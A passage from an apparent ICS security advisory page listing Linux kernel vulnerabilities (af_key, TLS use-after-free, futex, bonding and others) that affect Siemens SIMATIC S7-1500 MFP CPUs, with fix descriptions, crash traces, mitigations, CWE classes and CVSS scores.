3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 [ 998.394189] RSP: 002b:00007ffd7e2f7cb8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e [ 998.394191] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007fad61bf4724 [ 998.394193] RDX: 0000000000000000 RSI: 00007ffd7e2f7d20 RDI: 0000000000000003 [ 998.394194] RBP: 00007ffd7e2f7d90 R08: 0000000000000010 R09: 000000000000003f [ 998.394195] R10: 000055df11558010 R11: 0000000000000202 R12: 00007ffd7e2 ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31508">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31515</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: af_key: validate families in pfkey_send_migrate() syzbot was able to trigger a crash in skb_put() [1] Issue is that pfkey_send_migrate() does not check old/new families, and that set_ipsecrequest() @family argument was truncated, thus possibly overfilling the skb. Validate families early, do not wait set_ipsecrequest(). [1] skbuff: skb_over_panic: text:ffffffff8a752120 len:392 put:16 head:ffff88802a4ad040 data:ffff88802a4ad040 tail:0x188 end:0x180 dev: kernel BUG at net/core/skbuff.c:214 ! Call Trace: skb_over_panic net/core/skbuff.c:219 [inline] skb_put+0x159/0x210 net/core/skbuff.c:2655 skb_put_zero include/linux/skbuff.h:2788 [inline] set_ipsecrequest net/key/af_key.c:3532 [inline] pfkey_send_migrate+0x1270/0x2e50 net/key/af_key.c:3636 km_migrate+0x155/0x260 net/xfrm/xfrm_state.c:2848 xfrm_migrate+0x2140/0x2450 net/xfrm/xfrm_policy.c:4705 xfrm_do_migrate+0x8ff/0xaa0 net/xfrm/xfrm_user.c:3150</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31515">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/131.html">CWE-131 Incorrect Calculation of Buffer Size</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31518</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: esp: fix skb leak with espintcp and async crypto When the TX queue for espintcp is full, esp_output_tail_tcp will return an error and not free the skb, because with synchronous crypto, the common xfrm output code will drop the packet for us. With async crypto (esp_output_done), we need to drop the skb when esp_output_tail_tcp returns an error.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31518">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31521</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: module: Fix kernel panic when a symbol st_shndx is out of bounds The module loader doesn't check for bounds of the ELF section index in simplify_symbols(): for (i = 1; i &lt; symsec-&gt;sh_size / sizeof(Elf_Sym); i++) { const char *name = info-&gt;strtab + sym[i].st_name; switch (sym[i].st_shndx) { case SHN_COMMON: [...] default: /* Divert to percpu allocation if a percpu var. */ if (sym[i].st_shndx == info-&gt;index.pcpu) secbase = (unsigned long)mod_percpu(mod); else /** HERE --&gt; **/ secbase = info-&gt;sechdrs[sym[i].st_shndx].sh_addr; sym[i].st_value += secbase; break; } } A symbol with an out-of-bounds st_shndx value, for example 0xffff (known as SHN_XINDEX or SHN_HIRESERVE), may cause a kernel panic: BUG: unable to handle page fault for address: ... RIP: 0010:simplify_symbols+0x2b2/0x480 ... Kernel panic - not syncing: Fatal exception This can happen when module ELF is legitimately using SHN_XINDEX or when it is corrupted. Add a bounds check in simplify_symbols() to validate that st_shndx is within the valid range before using it. This issue was discovered due to a bug in llvm-objcopy, see relevant discussion for details [1]. [1] https://lore.kernel.org/linux-modules/20251224005752.201911-1-ihor.solodrai@linux.dev/</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31521">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1285.html">CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31533</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/tls: fix use-after-free in -EBUSY error path of tls_do_encryption The -EBUSY handling in tls_do_encryption(), introduced by commit 859054147318 ("net: tls: handle backlogging of crypto requests"), has a use-after-free due to double cleanup of encrypt_pending and the scatterlist entry. When crypto_aead_encrypt() returns -EBUSY, the request is enqueued to the cryptd backlog and the async callback tls_encrypt_done() will be invoked upon completion. That callback unconditionally restores the scatterlist entry (sge-&gt;offset, sge-&gt;length) and decrements ctx-&gt;encrypt_pending. However, if tls_encrypt_async_wait() returns an error, the synchronous error path in tls_do_encryption() performs the same cleanup again, double-decrementing encrypt_pending and double-restoring the scatterlist. The double-decrement corrupts the encrypt_pending sentinel (initialized to 1), making tls_encrypt_async_wait() permanently skip the wait for pending async callbacks. A subsequent sendmsg can then free the tls_rec via bpf_exec_tx_verdict() while a cryptd callback is still pending, resulting in a use-after-free when the callback fires on the freed record. Fix this by skipping the synchronous cleanup when the -EBUSY async wait returns an error, since the callback has already handled encrypt_pending and sge restoration.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31533">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/763.html">CWE-763 Release of Invalid Pointer or Reference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31546</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: bonding: fix NULL deref in bond_debug_rlb_hash_show rlb_clear_slave intentionally keeps RLB hash-table entries on the rx_hashtbl_used_head list with slave set to NULL when no replacement slave is available. However, bond_debug_rlb_hash_show visites client_info-&gt;slave without checking if it's NULL. Other used-list iterators in bond_alb.c already handle this NULL-slave state safely: - rlb_update_client returns early on !client_info-&gt;slave - rlb_req_update_slave_clients, rlb_clear_slave, and rlb_rebalance compare slave values before visiting - lb_req_update_subnet_clients continues if slave is NULL The following NULL deref crash can be trigger in bond_debug_rlb_hash_show: [ 1.289791] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 1.292058] RIP: 0010:bond_debug_rlb_hash_show (drivers/net/bonding/bond_debugfs.c:41) [ 1.293101] RSP: 0018:ffffc900004a7d00 EFLAGS: 00010286 [ 1.293333] RAX: 0000000000000000 RBX: ffff888102b48200 RCX: ffff888102b48204 [ 1.293631] RDX: ffff888102b48200 RSI: ffffffff839daad5 RDI: ffff888102815078 [ 1.293924] RBP: ffff888102815078 R08: ffff888102b4820e R09: 0000000000000000 [ 1.294267] R10: 0000000000000000 R11: 0000000000000000 R12: ffff888100f929c0 [ 1.294564] R13: ffff888100f92a00 R14: 0000000000000001 R15: ffffc900004a7ed8 [ 1.294864] FS: 0000000001395380(0000) GS:ffff888196e75000(0000) knlGS:0000000000000000 [ 1.295239] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 1.295480] CR2: 0000000000000000 CR3: 0000000102adc004 CR4: 0000000000772ef0 [ 1.295897] Call Trace: [ 1.296134] seq_read_iter (fs/seq_file.c:231) [ 1.296341] seq_read (fs/seq_file.c:164) [ 1.296493] full_proxy_read (fs/debugfs/file.c:378 (discriminator 1)) [ 1.296658] vfs_read (fs/read_write.c:572) [ 1.296981] ksys_read (fs/read_write.c:717) [ 1.297132] do_syscall_64 (arch/x86/entry/syscall_64.c:63 (discriminator 1) arch/x86/entry/syscall_64.c:94 (discriminator 1)) [ 1.297325] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130) Add a NULL check and print "(none)" for entries with no assigned slave.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31546">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31555</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: futex: Clear stale exiting pointer in futex_lock_pi() retry path Fuzzying/stressing futexes triggered: WARNING: kernel/futex/core.c:825 at wait_for_owner_exiting+0x7a/0x80, CPU#11: futex_lock_pi_s/524 When futex_lock_pi_atomic() sees the owner is exiting, it returns -EBUSY and stores a refcounted task pointer in 'exiting'. After wait_for_owner_exiting() consumes that reference, the local pointer is never reset to nil. Upon a retry, if futex_lock_pi_atomic() returns a different error, the bogus pointer is passed to wait_for_owner_exiting(). CPU0 CPU1 CPU2 futex_lock_pi(uaddr) // acquires the PI futex exit() futex_cleanup_begin() futex_state = EXITING; futex_lock_pi(uaddr) futex_lock_pi_atomic() attach_to_pi_owner() // observes EXITING *exiting = owner; // takes ref return -EBUSY wait_for_owner_exiting(-EBUSY, owner) put_task_struct(); // drops ref // exiting still points to owner goto retry; futex_lock_pi_atomic() lock_pi_update_atomic() cmpxchg(uaddr) *uaddr ^= WAITERS // whatever // value changed return -EAGAIN; wait_for_owner_exiting(-EAGAIN, exiting) // stale WARN_ON_ONCE(exiting) Fix this by resetting upon retry, essentially aligning it with requeue_pi.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31555">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31563</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: macb: Use dev_consume_skb_any() to free TX SKBs The napi_consume_skb() function is not intended to be called in an IRQ disabled context. However, after commit 6bc8a5098bf4 ("net: macb: Fix tx_ptr_lock locking"), the freeing of TX SKBs is performed with IRQs disabled. To resolve the following call trace, use dev_consume_skb_any() for freeing TX SKBs: WARNING: kernel/softirq.c:430 at __local_bh_enable_ip+0x174/0x188, CPU#0: ksoftirqd/0/15 Modules linked in: CPU: 0 UID: 0 PID: 15 Comm: ksoftirqd/0 Not tainted 7.0.0-rc4-next-20260319-yocto-standard-dirty #37 PREEMPT Hardware name: ZynqMP ZCU102 Rev1.1 (DT) pstate: 200000c5 (nzCv daIF -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __local_bh_enable_ip+0x174/0x188 lr : local_bh_enable+0x24/0x38 sp : ffff800082b3bb10 x29: ffff800082b3bb10 x28: ffff0008031f3c00 x27: 000000000011ede0 x26: ffff000800a7ff00 x25: ffff800083937ce8 x24: 0000000000017a80 x23: ffff000803243a78 x22: 0000000000000040 x21: 0000000000000000 x20: ffff000800394c80 x19: 0000000000000200 x18: 0000000000000001 x17: 0000000000000001 x16: ffff000803240000 x15: 0000000000000000 x14: ffffffffffffffff x13: 0000000000000028 x12: ffff000800395650 x11: ffff8000821d1528 x10: ffff800081c2bc08 x9 : ffff800081c1e258 x8 : 0000000100000301 x7 : ffff8000810426ec x6 : 0000000000000000 x5 : 0000000000000001 x4 : 0000000000000001 x3 : 0000000000000000 x2 : 0000000000000008 x1 : 0000000000000200 x0 : ffff8000810428dc Call trace: __local_bh_enable_ip+0x174/0x188 (P) local_bh_enable+0x24/0x38 skb_attempt_defer_free+0x190/0x1d8 napi_consume_skb+0x58/0x108 macb_tx_poll+0x1a4/0x558 __napi_poll+0x50/0x198 net_rx_action+0x1f4/0x3d8 handle_softirqs+0x16c/0x560 run_ksoftirqd+0x44/0x80 smpboot_thread_fn+0x1d8/0x338 kthread+0x120/0x150 ret_from_fork+0x10/0x20 irq event stamp: 29751 hardirqs last enabled at (29750): [] _raw_spin_unlock_irqrestore+0x44/0x88 hardirqs last disabled at (29751): [] _raw_spin_lock_irqsave+0x38/0x98 softirqs last enabled at (29150): [] handle_softirqs+0x504/0x560 softirqs last disabled at (29153): [] run_ksoftirqd+0x44/0x80</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31563">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31565</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: RDMA/irdma: Fix deadlock during netdev reset with active connections Resolve deadlock that occurs when user executes netdev reset while RDMA applications (e.g., rping) are active. The netdev reset causes ice driver to remove irdma auxiliary driver, triggering device_delete and subsequent client removal. During client removal, uverbs_client waits for QP reference count to reach zero while cma_client holds the final reference, creating circular dependency and indefinite wait in iWARP mode. Skip QP reference count wait during device reset to prevent deadlock.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31565">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
